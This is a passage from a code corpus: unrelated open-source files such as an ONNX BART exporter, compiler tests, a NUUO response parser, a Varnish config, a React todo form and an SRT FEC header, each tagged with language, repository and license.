num_beams, max_length): model.eval() ort_sess = None onnx_bart = torch.jit.script(BARTBeamSearchGenerator(model)) with torch.no_grad(): ARTICLE_TO_SUMMARIZE = "My friends are cool but they eat too many carbs." inputs = tokenizer([ARTICLE_TO_SUMMARIZE], max_length=1024, return_tensors="pt").to(model.device) # Test export here. summary_ids = model.generate( inputs["input_ids"], attention_mask=inputs["attention_mask"], num_beams=num_beams, max_length=max_length, early_stopping=True, decoder_start_token_id=model.config.decoder_start_token_id, ) if not ort_sess: torch.onnx.export( onnx_bart, ( inputs["input_ids"], inputs["attention_mask"], num_beams, max_length, model.config.decoder_start_token_id, ), onnx_file_path, opset_version=14, input_names=["input_ids", "attention_mask", "num_beams", "max_length", "decoder_start_token_id"], output_names=["output_ids"], dynamic_axes={ "input_ids": {0: "batch", 1: "seq"}, "output_ids": {0: "batch", 1: "seq_out"}, }, verbose=False, strip_doc_string=False, example_outputs=summary_ids, ) new_onnx_file_path = remove_dup_initializers(os.path.abspath(onnx_file_path)) ort_sess = onnxruntime.InferenceSession(new_onnx_file_path) ort_out = ort_sess.run( None, { "input_ids": inputs["input_ids"].cpu().numpy(), "attention_mask": inputs["attention_mask"].cpu().numpy(), "num_beams": np.array(num_beams), "max_length": np.array(max_length), "decoder_start_token_id": np.array(model.config.decoder_start_token_id), }, ) np.testing.assert_allclose(summary_ids.cpu().numpy(), ort_out[0], rtol=1e-3, atol=1e-3) print("========= Pass - Results are matched! =========") def main(): args = parse_args() local_device = None local_max_length = 5 local_num_beams = 4 # Make one log on every process with the configuration for debugging. logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO, ) logger.setLevel(logging.ERROR) transformers.utils.logging.set_verbosity_error() if args.model_name_or_path: model, tokenizer = load_model_tokenizer(args.model_name_or_path, local_device) else: raise ValueError("Make sure that model name has been passed") if model.config.decoder_start_token_id is None: raise ValueError("Make sure that `config.decoder_start_token_id` is correctly defined") if args.device: if args.device == "cuda" and not torch.cuda.is_available(): raise ValueError("CUDA is not available in this server.") local_device = torch.device(args.device) else: local_device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu") model.to(local_device) if args.max_length: local_max_length = args.max_length if args.num_beams: local_num_beams = args.num_beams if args.output_file_path: output_name = args.output_file_path else: output_name = "onnx_model_{}.onnx".format(datetime.now().utcnow().microsecond) export_and_validate_model(model, tokenizer, output_name, local_num_beams, local_max_length) logger.info("***** Running export *****") if __name__ == "__main__": main()
Python
4
cnarte/transformers
examples/onnx/pytorch/translation/run_onnx_exporter.py
[ "Apache-2.0" ]
<meta http-equiv="refresh" content="0; url=/home" />
HTML
1
jlevon/hugo
examples/multilingual/layouts/index.html
[ "Apache-2.0" ]
#buffer size in KB vs time in min min2mil = 60*1000 suggested_values = [(2^0, 0), (2^17, 1), (2^20, 25), (2^23, 29), (2^27,29.99)] suggested_values = [(a,b*min2mil) for (a,b) in suggested_values] exponential_values = [(t,s) for (t,s) in suggested_values] #RR(e^(1/t)) g = 20 #(max dead) var('a,b,d,e,f') #model(x) = a*e^(g/x)+b c = 1 model(x) = b*(-log(x*c))+d #*(x)^4+c*(x)^3+d*(x)^2+ e*(x) + f b,d = find_fit(suggested_values, model) print b,c,d #f(x) = c.rhs()*e^(h.rhs()/x)+d.rhs() f(x) = b.rhs()*(-log(0.125*x))+d.rhs()#^4+c.rhs()*(x)^3+d.rhs()*(x)^2+ e.rhs()*(x) + f.rhs() print [(j, RR(f(2^j) - f(1))/(min2mil)) for j in range(0,31)]
Sage
3
IHA114/stegotorus
doc/dos_messures.sage
[ "BSD-3-Clause-Clear" ]
const fs = require("fs") const path = require("path") const faker = require(`faker`) console.log("Start of gen") const N = parseInt(process.env.N, 10) || 100 const FILE = path.resolve("gendata.csv") // We may want to tweak this a little but for this purpose we have a CSV with one column; the full page contents // We then hand that off to markdown console.log("Now generating " + N + " articles into", FILE) fs.writeFileSync(FILE, "articleContent\n") function createArticle(n) { const title = faker.lorem.sentence() const desc = faker.lorem.sentence() const slug = faker.helpers.slugify(title).toLowerCase() const date = faker.date.recent(1000).toISOString().slice(0, 10) const tags = faker.random .words(3) .split(` `) .map(w => `"${w}"`) .join(`, `) const pageContent = `--- articleNumber: ${n} title: "${title.replace(/"/g, '\\"')}" description: "${desc.replace(/"/g, '\\"')}" slug: '${slug}' date: ${date} --- # ${title} > ${desc} ${faker.lorem.paragraphs()} ${faker.lorem.paragraphs()} ` // Note: you can only escape double quotes (by doubling them, not by backslash) // any other content needs to be wrapped in double quotes and is consumed as-is (including newlines and commas) fs.appendFileSync( FILE, '"' + pageContent .trim() .replace(/"/g, '""') + '"' + "\n" // markdown does care about newlines ) } for (let i = 0; i < N; ++i) { createArticle(i) } console.log("Finished generating " + N + " articles into", FILE) console.log("End of gen")
JavaScript
4
pipaliyajaydip/gatsby
benchmarks/gabe-csv-markdown/gen.js
[ "MIT" ]
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports System.Collections.Immutable Imports Microsoft.CodeAnalysis.CodeActions Imports Microsoft.CodeAnalysis.CodeFixes Imports Microsoft.CodeAnalysis.Diagnostics Imports Microsoft.CodeAnalysis.VisualBasic.AliasAmbiguousType Namespace Microsoft.CodeAnalysis.Editor.VisualBasic.UnitTests.Diagnostics.AliasAmbiguousType Public Class AliasAmbiguousTypeTests Inherits AbstractVisualBasicDiagnosticProviderBasedUserDiagnosticTest Friend Overrides Function CreateDiagnosticProviderAndFixer(workspace As Workspace) As (DiagnosticAnalyzer, CodeFixProvider) Return (Nothing, New VisualBasicAliasAmbiguousTypeCodeFixProvider()) End Function Protected Overrides Function MassageActions(actions As ImmutableArray(Of CodeAction)) As ImmutableArray(Of CodeAction) Return FlattenActions(actions) End Function Private Shared Function GetAmbiguousDefinition(ByVal typeDefinion As String) As String Return $" Namespace N1 {typeDefinion} End Namespace Namespace N2 {typeDefinion} End Namespace" End Function <Fact, Trait(Traits.Feature, Traits.Features.CodeActionsAliasAmbiguousType)> Public Async Function TestAmbiguousClassObjectCreationGlobalImports() As Task Dim classDef = GetAmbiguousDefinition(" Public Class Ambiguous End Class") Dim initialMarkup = " Imports N1 Imports N2 " & classDef & " Namespace N3 Class C Private Sub M() Dim a = New [|Ambiguous|]() End Sub End Class End Namespace" Dim expectedMarkupTemplate = " Imports N1 Imports N2 {0} " & classDef & " Namespace N3 Class C Private Sub M() Dim a = New Ambiguous() End Sub End Class End Namespace" Await TestInRegularAndScriptAsync(initialMarkup, String.Format(expectedMarkupTemplate, "Imports Ambiguous = N1.Ambiguous"), index:=0) Await TestInRegularAndScriptAsync(initialMarkup, String.Format(expectedMarkupTemplate, "Imports Ambiguous = N2.Ambiguous"), index:=1) Await TestSmartTagTextAsync(initialMarkup, "Imports Ambiguous = N1.Ambiguous", index:=0) End Function <Fact, Trait(Traits.Feature, Traits.Features.CodeActionsAliasAmbiguousType)> Public Async Function TestAmbiguousAttribute() As Task Dim classDef = GetAmbiguousDefinition(" Class AAttribute Inherits System.Attribute End Class ") Dim initialMarkup = " Imports N1 Imports N2 " & classDef & " <[|A|]()> Class C End Class" Dim expectedMarkupTemplate = " Imports N1 Imports N2 Imports AAttribute = N1.AAttribute " & classDef & " <[|A|]()> Class C End Class" Await TestInRegularAndScriptAsync(initialMarkup, expectedMarkupTemplate) End Function <Fact, Trait(Traits.Feature, Traits.Features.CodeActionsAliasAmbiguousType)> Public Async Function TestAmbiguousBug4817() As Task Dim initialMarkup = " Imports A Imports B Class A Shared Sub Goo() End Sub End Class Class B Inherits A Overloads Shared Sub Goo(x As Integer) End Sub End Class Module C Sub Main() [|Goo|]() End Sub End Module " Await TestMissingAsync(initialMarkup) End Function <Fact, Trait(Traits.Feature, Traits.Features.CodeActionsAliasAmbiguousType)> Public Async Function TestAmbiguousClassInModule() As Task Dim initialMarkup = " Imports N1, N2 Namespace N1 Module K Class Goo End Class End Module End Namespace Namespace N2 Module L Class Goo End Class End Module End Namespace Class A Public d As [|Goo|] End Class " Dim expectedMarkup = " Imports N1, N2 Imports Goo = N1.Goo Namespace N1 Module K Class Goo End Class End Module End Namespace Namespace N2 Module L Class Goo End Class End Module End Namespace Class A Public d As Goo End Class " Await TestInRegularAndScriptAsync(initialMarkup, expectedMarkup) End Function <Fact, Trait(Traits.Feature, Traits.Features.CodeActionsAliasAmbiguousType)> Public Async Function TestAmbiguousInterfaceNameReferencedInSmallCaps() As Task Dim initialMarkup = " Imports N1, N2 Namespace N1 Interface I1 End Interface End Namespace Namespace N2 Interface I1 End Interface End Namespace Public Class Cls2 Implements [|i1|] End Class " Dim expectedMarkup = " Imports N1, N2 Imports I1 = N1.I1 Namespace N1 Interface I1 End Interface End Namespace Namespace N2 Interface I1 End Interface End Namespace Public Class Cls2 Implements i1 End Class " Await TestInRegularAndScriptAsync(initialMarkup, expectedMarkup) End Function End Class End Namespace
Visual Basic
5
ffMathy/roslyn
src/EditorFeatures/VisualBasicTest/Diagnostics/AliasAmbiguousType/AliasAmbiguousTypeTests.vb
[ "MIT" ]
# NOTE: Assertions have been autogenerated by utils/update_mir_test_checks.py # RUN: llc -mtriple=i386-linux-gnu -mattr=+sse2 -run-pass=legalizer %s -o - | FileCheck %s --check-prefix=ALL --check-prefix=X32 # RUN: llc -mtriple=x86_64-linux-gnu -run-pass=legalizer %s -o - | FileCheck %s --check-prefix=ALL --check-prefix=X64 --- | define void @test_constant() { ret void } define void @test_fconstant() { ret void } ... --- name: test_constant registers: - { id: 0, class: _ } - { id: 1, class: _ } - { id: 2, class: _ } - { id: 3, class: _ } - { id: 4, class: _ } body: | bb.1 (%ir-block.0): ; X32-LABEL: name: test_constant ; X32: [[C:%[0-9]+]]:_(s32) = G_CONSTANT i32 -1 ; X32: $eax = COPY [[C]](s32) ; X32: [[C1:%[0-9]+]]:_(s8) = G_CONSTANT i8 8 ; X32: $al = COPY [[C1]](s8) ; X32: [[C2:%[0-9]+]]:_(s16) = G_CONSTANT i16 16 ; X32: $ax = COPY [[C2]](s16) ; X32: [[C3:%[0-9]+]]:_(s32) = G_CONSTANT i32 32 ; X32: $eax = COPY [[C3]](s32) ; X32: [[C4:%[0-9]+]]:_(s32) = G_CONSTANT i32 64 ; X32: [[C5:%[0-9]+]]:_(s32) = G_CONSTANT i32 0 ; X32: [[MV:%[0-9]+]]:_(s64) = G_MERGE_VALUES [[C4]](s32), [[C5]](s32) ; X32: $rax = COPY [[MV]](s64) ; X32: RET 0 ; X64-LABEL: name: test_constant ; X64: [[C:%[0-9]+]]:_(s32) = G_CONSTANT i32 -1 ; X64: $eax = COPY [[C]](s32) ; X64: [[C1:%[0-9]+]]:_(s8) = G_CONSTANT i8 8 ; X64: $al = COPY [[C1]](s8) ; X64: [[C2:%[0-9]+]]:_(s16) = G_CONSTANT i16 16 ; X64: $ax = COPY [[C2]](s16) ; X64: [[C3:%[0-9]+]]:_(s32) = G_CONSTANT i32 32 ; X64: $eax = COPY [[C3]](s32) ; X64: [[C4:%[0-9]+]]:_(s64) = G_CONSTANT i64 64 ; X64: $rax = COPY [[C4]](s64) ; X64: RET 0 %0(s1) = G_CONSTANT i1 1 %5:_(s32) = G_ANYEXT %0 $eax = COPY %5 %1(s8) = G_CONSTANT i8 8 $al = COPY %1 %2(s16) = G_CONSTANT i16 16 $ax = COPY %2 %3(s32) = G_CONSTANT i32 32 $eax = COPY %3 %4(s64) = G_CONSTANT i64 64 $rax = COPY %4 RET 0 ... --- name: test_fconstant registers: - { id: 0, class: _ } - { id: 1, class: _ } body: | bb.0: ; X32-LABEL: name: test_fconstant ; X32: [[C:%[0-9]+]]:_(s32) = G_FCONSTANT float 1.000000e+00 ; X32: $eax = COPY [[C]](s32) ; X32: [[C1:%[0-9]+]]:_(s64) = G_FCONSTANT double 2.000000e+00 ; X32: $rax = COPY [[C1]](s64) ; X64-LABEL: name: test_fconstant ; X64: [[C:%[0-9]+]]:_(s32) = G_FCONSTANT float 1.000000e+00 ; X64: $eax = COPY [[C]](s32) ; X64: [[C1:%[0-9]+]]:_(s64) = G_FCONSTANT double 2.000000e+00 ; X64: $rax = COPY [[C1]](s64) %0(s32) = G_FCONSTANT float 1.0 $eax = COPY %0 %1(s64) = G_FCONSTANT double 2.0 $rax = COPY %1 ...
Mirah
4
arunkumarbhattar/llvm
test/CodeGen/X86/GlobalISel/legalize-constant.mir
[ "Apache-2.0" ]
File with("urls.txt") contents split("\n") foreach(u, URL with("http://localhost:8080" .. u) fetch println)
Io
3
BooBSD/vertexdb
tests/pnode.io
[ "BSD-3-Clause" ]
import "EcereAudio" class MainWindow : Window { text = "Playing a sound"; background = black; borderStyle = sizable; hasMaximize = true; hasMinimize = true; hasClose = true; size = { 576, 432 }; Mixer mixer { }; Sound sound10 { "sound.wav" }; bool OnCreate() { mixer.systemHandle = systemHandle; return true; } void OnDestroy() { delete mixer; } bool OnKeyDown(Key key, unichar ch) { switch(key) { case space: mixer.Play(sound10, 1.0, 0, 1); break; case left: mixer.Play(sound10, 1.0, -1, 1); break; case right: mixer.Play(sound10, 1.0, 1, 1); break; } return true; } } MainWindow mainWindow { };
eC
3
N-eil/ecere-sdk
samples/audio/PlaySound/PlaySound.ec
[ "BSD-3-Clause" ]
( Generated from test_example_whospecies_in.muv by the MUV compiler. ) ( https://github.com/revarbat/muv ) : _showspecies[ -- ret ] var _obj loc @ contents_array foreach _obj ! pop _obj @ player? if _obj @ "species" getpropstr _obj @ "sex" getpropstr _obj @ "%-30D %-10s %-30s" fmtstring me @ swap notify then repeat 0 ; : __start "me" match me ! me @ location loc ! trig trigger ! _showspecies ;
MUF
4
revarbat/muv
tests/test_example_whospecies_cmp.muf
[ "BSD-2-Clause" ]
# DO NOT EDIT THIS FILE. This file will be overwritten when re-running go-raml. @0x851c6a9c2bfa761e; struct MultipleInheritance { color @0 :Text; }
Cap'n Proto
2
mrpotes/go-raml
codegen/python/fixtures/python_capnp/MultipleInheritance.capnp
[ "BSD-2-Clause" ]
-# -# Copyright (C) 2009-2011 the original author or authors. -# See the notice.md file distributed with this work for additional -# information regarding copyright ownership. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# %h1 Sample Tag %p This page demonstrates a kinda pseudo custom tag in SSP. Notice how the method we invoke, <b>MyTags.someLayoutWithImportedCapture</b> just takes a function which when invoked returns Unit. To be able to capture the output of the body, the implementation uses the imported <b>RenderContext.capture</b> method - import org.fusesource.scalate.sample.MyTags._ - val name = "Hiram" != someLayoutWithImportedCapture hey #{name} this is some body text!
Scaml
4
arashi01/scalate-samples
scalate-sample/src/main/webapp/scaml/sampleTag.scaml
[ "Apache-2.0" ]
# -*- coding:binary -*- module Rex module Proto module Nuuo class Response module ParseCode Completed = 1 Partial = 2 Error = 3 end module ParseState ProcessingHeader = 1 ProcessingBody = 2 Completed = 3 end attr_accessor :headers attr_accessor :body attr_accessor :protocol attr_accessor :status_code attr_accessor :message attr_accessor :bufq attr_accessor :state def initialize(buf=nil) self.state = ParseState::ProcessingHeader self.headers = {} self.body = '' self.protocol = nil self.status_code = nil self.message = nil self.bufq = '' parse(buf) if buf end def to_s s = '' return unless self.protocol s << self.protocol s << " #{self.status_code}" if self.status_code s << " #{self.message}" if self.message s << "\r\n" self.headers.each do |k,v| s << "#{k}: #{v}\r\n" end s << "\r\n#{self.body}" end # returns state of parsing def parse(buf) self.bufq << buf if self.state == ParseState::ProcessingHeader parse_header end if self.state == ParseState::ProcessingBody if self.body_bytes_left == 0 self.state = ParseState::Completed else parse_body end end (self.state == ParseState::Completed) ? ParseCode::Completed : ParseCode::Partial end protected attr_accessor :body_bytes_left def parse_header head,body = self.bufq.split("\r\n\r\n", 2) return nil unless body get_headers(head) self.bufq = body || '' self.body_bytes_left = 0 if self.headers['Content-Length'] self.body_bytes_left = self.headers['Content-Length'].to_i end self.state = ParseState::ProcessingBody end def parse_body return if self.bufq.length == 0 if self.body_bytes_left >= 0 part = self.bufq.slice!(0, self.body_bytes_left) self.body << part self.body_bytes_left -= part.length else self.body_bytes_left = 0 end if self.body_bytes_left == 0 self.state = ParseState::Completed end end def get_headers(head) head.each_line.with_index do |l, i| if i == 0 self.protocol,self.status_code,self.message = l.split(' ', 3) self.status_code = self.status_code.to_i if self.status_code next end k,v = l.split(':', 2) self.headers[k] = v.strip end end end end end end
Ruby
4
OsmanDere/metasploit-framework
lib/rex/proto/nuuo/response.rb
[ "BSD-2-Clause", "BSD-3-Clause" ]
//By adding a tag to a bot, you can group multiple bots in the sim // together to better allow you to control many bots. //The tag commands allow you to add, remove, and retrieve a list of bot IDs. string botTag = "Bot Test Tag"; default { state_entry() { //This creates a bot in the sim with the given name, outfit at the given start position. key botID = botCreateBot("Test", "Bot", "", llGetPos(), BOT_CREATE_DEFAULT); //Add the tag to the bot botAddTag(botID, botTag); } touch_start(integer n) { //Get a list of all bots in the sim with the tag stored in botTag list bots = botGetBotsWithTag(botTag); //Print out a list of all of the bots in the list integer i = 0; llSay(0, "Bots with the tag " + botTag); for(i = 0; i < llGetListLength(bots); i++) { key botID = llList2Key(bots, i); llSay(0, " " + botGetName(botID)); } } }
LSL
4
Asterionworld/ether
doc/bot LSL Functions/Examples/bot Tagging.lsl
[ "BSD-3-Clause" ]
# varnish config for wikistream so that images and repeated requests # for image json are cached backend default { .host = "127.0.0.1"; .port = "3000"; } # for websocket support we need this sub vcl_pipe { if (req.http.upgrade) { set bereq.http.upgrade = req.http.upgrade; } } sub vcl_recv { if (req.http.Upgrade ~ "(?i)websocket") { return (pipe); } }
VCL
4
Krinkle/wikistream
conf/default.vcl
[ "CC0-1.0" ]
import { useState, useEffect } from 'react' import userbase from 'userbase-js' function Todo({ name, done, toggleComplete, deleteTodo }) { return ( <li className="my-4"> <div className="flex items-center"> <span className={done ? 'text-gray-500' : ''}>{name}</span> <button type="button" className="mx-4 p-1 rounded bg-purple-400 text-white font-bold" onClick={(e) => { e.preventDefault() toggleComplete() }} > {done ? 'not done' : 'done'} </button> <button type="button" onClick={(e) => { e.preventDefault() deleteTodo() }} className=" p-1 bg-red-500 text-white rounded font-bold" > delete </button> </div> </li> ) } function TodoForm() { const [newTodo, setNewTodo] = useState('') const [todos, setTodos] = useState([]) const [disabled, setDisabled] = useState() useEffect(() => { async function openDatabase() { try { console.log('opening db...') await userbase.openDatabase({ databaseName: 'next-userbase-todos', changeHandler: function (items) { setTodos(items) }, }) } catch (e) { console.error(e.message) } } openDatabase() }, []) async function addTodo(e) { e.preventDefault() setDisabled(true) try { await userbase.insertItem({ databaseName: 'next-userbase-todos', item: { name: newTodo, done: false }, }) setNewTodo('') setDisabled(false) } catch (e) { console.error(e.message) setDisabled(false) } } async function toggleComplete(itemId, currentValue) { try { await userbase.updateItem({ databaseName: 'next-userbase-todos', item: { ...currentValue, done: !currentValue.done }, itemId, }) } catch (e) { console.error(e.message) } } function handleNewTodo(e) { e.preventDefault() setNewTodo(e.target.value) } async function deleteTodo(itemId) { setDisabled(true) try { await userbase.deleteItem({ databaseName: 'next-userbase-todos', itemId, }) setNewTodo('') setDisabled(false) } catch (e) { console.error(e.message) setDisabled(false) } } return ( <form className="bg-white shadow-md rounded p-8" onSubmit={addTodo}> <ul> {todos.map((todo) => ( <Todo key={todo.itemId} name={todo.item.name} done={todo.item.done} toggleComplete={() => toggleComplete(todo.itemId, todo.item)} deleteTodo={() => deleteTodo(todo.itemId)} /> ))} </ul> <div className="flex my-4"> <input type="text" onChange={handleNewTodo} value={newTodo} className="shadow appearance-none border rounded w-full py-2 px-3 text-gray-700 leading-tight focus:outline-none focus:shadow-outline" /> <button disabled={disabled} className="btn-yellow mx-4" type="submit"> add </button> </div> </form> ) } export default TodoForm
JavaScript
4
blomqma/next.js
examples/with-userbase/components/todo-form/index.js
[ "MIT" ]
/* * SRT - Secure, Reliable, Transport * Copyright (c) 2019 Haivision Systems Inc. * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * */ #ifndef INC__SRT_FEC_H #define INC__SRT_FEC_H #include <string> #include <map> #include <vector> #include <deque> #include "packetfilter_api.h" class FECFilterBuiltin: public SrtPacketFilterBase { SrtFilterConfig cfg; size_t m_number_cols; size_t m_number_rows; // Configuration SRT_ARQLevel m_fallback_level; bool m_cols_only; bool m_arrangement_staircase; public: size_t numberCols() const { return m_number_cols; } size_t numberRows() const { return m_number_rows; } size_t sizeCol() const { return m_number_rows; } size_t sizeRow() const { return m_number_cols; } struct Group { int32_t base; //< Sequence of the first packet in the group size_t step; //< by how many packets the sequence should increase to get the next packet size_t drop; //< by how much the sequence should increase to get to the next series size_t collected; //< how many packets were taken to collect the clip Group(): base(CSeqNo::m_iMaxSeqNo), step(0), drop(0), collected(0) { } uint16_t length_clip; uint8_t flag_clip; uint32_t timestamp_clip; std::vector<char> payload_clip; // This is mutable because it's an intermediate buffer for // the purpose of output. //mutable vector<char> output_buffer; enum Type { HORIZ, // Horizontal, recursive VERT, // Vertical, recursive // NOTE: HORIZ/VERT are defined as 0/1 so that not-inversion // can flip between them. SINGLE // Horizontal-only with no recursion }; }; struct RcvGroup: Group { bool fec; bool dismissed; RcvGroup(): fec(false), dismissed(false) {} #if ENABLE_HEAVY_LOGGING std::string DisplayStats() { if (base == CSeqNo::m_iMaxSeqNo) return "UNINITIALIZED!!!"; std::ostringstream os; os << "base=" << base << " step=" << step << " drop=" << drop << " collected=" << collected << " " << (fec ? "+" : "-") << "FEC " << (dismissed ? "DISMISSED" : "active"); return os.str(); } #endif }; private: // Row Groups: every item represents a single row group and collects clips for one row. // Col Groups: every item represents a signel column group and collect clips for packets represented in one column struct Send { // We need only ONE horizontal group. Simply after the group // is closed (last packet supplied), and the FEC packet extracted, // the group is no longer in use. Group row; std::vector<Group> cols; } snd; struct Receive { SRTSOCKET id; bool order_required; Receive(std::vector<SrtPacket>& provided): id(SRT_INVALID_SOCK), order_required(false), rebuilt(provided) { } // In reception we need to keep as many horizontal groups as required // for possible later tracking. A horizontal group should be dismissed // when the size of this container exceeds the `m_number_rows` (size of the column). // // The 'std::deque' type is used here for a trial implementation. A desired solution // would be a kind of a ring buffer where new groups are added and old (exceeding // the size) automatically dismissed. std::deque<RcvGroup> rowq; // Base index at the oldest column platform determines // the base index of the queue. Meaning, first you need // to determnine the column index, where the index 0 is // the fistmost element of this queue. After determining // the column index, there must be also a second factor // deteremined - which column series it is. So, this can // start by extracting the base sequence of the element // at the index column. This is the series 0. Now, the // distance between these two sequences, divided by // rowsize*colsize should return %index-in-column, // /number-series. The latter multiplied by the row size // is the offset between the firstmost column and the // searched column. std::deque<RcvGroup> colq; // This keeps the value of "packet received or not". // The sequence number of the first cell is rowq[0].base. // When dropping a row, // - the firstmost element of rowq is removed // - the length of one row is removed from this std::vector int32_t cell_base; std::deque<bool> cells; // Note this function will automatically extend the container // with empty cells if the index exceeds the size, HOWEVER // the caller must make sure that this index isn't any "crazy", // that is, it fits somehow in reasonable ranges. bool CellAt(size_t index) { if (index >= cells.size()) { // Cells not prepared for this sequence yet, // so extend in advance. cells.resize(index+1, false); return false; // It wasn't marked, anyway. } return cells[index]; } typedef SrtPacket PrivPacket; std::vector<PrivPacket>& rebuilt; } rcv; void ConfigureGroup(Group& g, int32_t seqno, size_t gstep, size_t drop); template <class Container> void ConfigureColumns(Container& which, int32_t isn); void ResetGroup(Group& g); // Universal void ClipData(Group& g, uint16_t length_net, uint8_t kflg, uint32_t timestamp_hw, const char* payload, size_t payload_size); void ClipPacket(Group& g, const CPacket& pkt); // Sending bool CheckGroupClose(Group& g, size_t pos, size_t size); void PackControl(const Group& g, signed char groupix, SrtPacket& pkt, int32_t seqno); // Receiving void CheckLargeDrop(int32_t seqno); int ExtendRows(int rowx); int ExtendColumns(int colgx); void MarkCellReceived(int32_t seq); bool HangHorizontal(const CPacket& pkt, bool fec_ctl, loss_seqs_t& irrecover); bool HangVertical(const CPacket& pkt, signed char fec_colx, loss_seqs_t& irrecover); void ClipControlPacket(Group& g, const CPacket& pkt); void ClipRebuiltPacket(Group& g, Receive::PrivPacket& pkt); void RcvRebuild(Group& g, int32_t seqno, Group::Type tp); int32_t RcvGetLossSeqHoriz(Group& g); int32_t RcvGetLossSeqVert(Group& g); static void TranslateLossRecords(const std::set<int32_t>& loss, loss_seqs_t& irrecover); void RcvCheckDismissColumn(int32_t seqno, int colgx, loss_seqs_t& irrecover); int RcvGetRowGroupIndex(int32_t seq); int RcvGetColumnGroupIndex(int32_t seq); void CollectIrrecoverRow(RcvGroup& g, loss_seqs_t& irrecover) const; bool IsLost(int32_t seq) const; public: FECFilterBuiltin(const SrtFilterInitializer& init, std::vector<SrtPacket>& provided, const std::string& confstr); // Sender side // This function creates and stores the FEC control packet with // a prediction to be immediately sent. This is called in the function // that normally is prepared for extracting a data packet from the sender // buffer and send it over the channel. virtual bool packControlPacket(SrtPacket& r_packet, int32_t seq) ATR_OVERRIDE; // This is called at the moment when the sender queue decided to pick up // a new packet from the scheduled packets. This should be then used to // continue filling the group, possibly followed by final calculating the // FEC control packet ready to send. virtual void feedSource(CPacket& r_packet) ATR_OVERRIDE; // Receiver side // This function is called at the moment when a new data packet has // arrived (no matter if subsequent or recovered). The 'state' value // defines the configured level of loss state required to send the // loss report. virtual bool receive(const CPacket& pkt, loss_seqs_t& loss_seqs) ATR_OVERRIDE; // Configuration // This is the size that is needed extra by packets operated by this corrector. // It should be subtracted from a current maximum value for SRTO_PAYLOADSIZE // The default FEC uses extra space only for FEC/CTL packet. // The timestamp clip is placed in the timestamp field in the header. // The payload contains: // - the length clip // - the flag spec // - the payload clip // The payload clip takes simply the current length of SRTO_PAYLOADSIZE. // So extra 4 bytes are needed, 2 for flags, 2 for length clip. static const size_t EXTRA_SIZE = 4; virtual SRT_ARQLevel arqLevel() ATR_OVERRIDE { return m_fallback_level; } }; #endif
C
5
attenuation/srs
trunk/3rdparty/srt-1-fit/srtcore/fec.h
[ "MIT" ]
.foo { color: rgba(51 170 51 / 0.4); color: rgba(51 170 51 / 40%); color: hsl(270 60% 50% / .15); color: hsla(240 100% 50% / .05); color: hsla(240 100% 50% / 5%); }
CSS
3
fuelingtheweb/prettier
tests/css_color/whitespace-syntax.css
[ "MIT" ]
:root { --primary-color: #0594CB; --primary-color-dark: #0A1922; --primary-color-light: #f9f9f9; --accent-color: #EBB951; --accent-color-light: #FF4088; --accent-color-dark: #33ba91; --text-color-primary: #373737; --text-on-primary-color: #fff; --text-color-secondary: #ccc; --text-color-disabled: #F7f7f7; --divider-color: #f6f6f6; --warn-color: red; --blue: var(--primary-color); }
CSS
4
jlevon/hugo
docs/_vendor/github.com/gohugoio/gohugoioTheme/assets/css/_variables.css
[ "Apache-2.0" ]
{ "repository": { "escape-character": { "patterns": [ { "name": "constant.character.escape.ddlog", "match": "\\\\[0nrvtbfa&\"\\\\]" } ] }, "string-quoted-interpolated-ddlog": { "patterns": [ { "name": "string.quoted.interpolated.ddlog", "begin": "(\\$\\{)", "beginCaptures": { "1": { "name": "punctuation.section.interpolation.begin" } }, "end": "(\\})", "endCaptures": { "1": { "name": "punctuation.section.interpolation.end" } }, "patterns": [ { "include": "#constant" }, { "include": "#entity" }, { "include": "#meta" }, { "include": "#string" }, { "include": "#support" }, { "include": "#variable" }, { "include": "#operator" }, { "include": "#keyword" }, { "include": "#storage" } ] } ] }, "string-literal": { "patterns": [ { "name": "string.quoted.double.ddlog", "begin": "(\")", "beginCaptures": { "1": { "name": "punctuation.definition.string.begin.ddlog" } }, "end": "(\\1)", "endCaptures": { "1": { "name": "punctuation.definition.string.end.ddlog" } }, "patterns": [ { "include": "#escape-character" }, { "include": "#string-quoted-interpolated-ddlog" } ] } ] }, "string": { "patterns": [ { "include": "#string-literal" }, { "name": "string.quoted.double.raw.ddlog", "begin": "\\s*(\\[)(\\|)", "beginCaptures": { "1": { "name": "punctuation.definition.raw-string.begin.ddlog" }, "2": { "name": "punctuation.definition.raw-string.begin.ddlog" } }, "end": "(\\2)(\\])\\s*", "endCaptures": { "1": { "name": "punctuation.definition.raw-string.end.ddlog" }, "2": { "name": "punctuation.definition.raw-string.end.ddlog" } }, }, { "name": "string.quoted.double.interpolated.raw.ddlog", "begin": "(\\$\\[)(\\|)", "beginCaptures": { "1": { "name": "punctuation.definition.raw-string.begin.ddlog" }, "2": { "name": "punctuation.definition.raw-string.begin.ddlog" } }, "end": "(\\2)(\\])", "endCaptures": { "1": { "name": "punctuation.definition.raw-string.end.ddlog" }, "2": { "name": "punctuation.definition.raw-string.end.ddlog" } }, "patterns": [ { "include": "#string-quoted-interpolated-ddlog" } ] } ] } } }
JSON5
4
smadaminov/differential-datalog
tools/vscode/ddlog-language/src/good/string.json5
[ "MIT" ]
